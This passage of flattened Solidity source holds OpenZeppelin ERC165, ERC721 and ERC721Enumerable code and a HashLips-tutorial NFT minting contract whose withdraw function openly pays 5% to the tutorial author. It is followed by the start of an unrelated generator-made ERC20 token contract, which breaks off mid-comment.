* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: 0xdoodles.sol
// Amended by HashLips
/**
!Disclaimer!
These contracts have been used to create tutorials,
and was created for the purpose to teach people
how to create smart contracts on the blockchain.
please review this code on your own before using any of
the following code for production.
HashLips will not be liable in any way if for the use
of the code. That being said, the code has been tested
to the best of the developers' knowledge to work as intended.
*/
pragma solidity >=0.7.0 <0.9.0;
contract oxdoodles is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public baseExtension = ".json";
uint256 public cost = 0.00 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 10;
bool public paused = true;
bool public revealed = false;
string public notRevealedUri;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
setNotRevealedURI(_initNotRevealedUri);
}
// internal
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
// public
function mint(uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
require(supply + _mintAmount <= maxSupply);
if (msg.sender != owner()) {
require(msg.value >= cost * _mintAmount);
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if(revealed == false) {
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function withdraw() public payable onlyOwner {
// This will pay HashLips 5% of the initial sale.
// You can remove this if you want, or keep it in to support HashLips and his channel.
// =============================================================================
(bool hs, ) = payable(0x943590A42C27D08e3744202c4Ae5eD55c2dE240D).call{value: address(this).balance * 5 / 100}("");
require(hs);
// =============================================================================
// This will payout the owner 95% of the contract balance.
// Do not remove this otherwise you will not be able to withdraw the funds.
// =============================================================================
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
// =============================================================================
}
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|
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
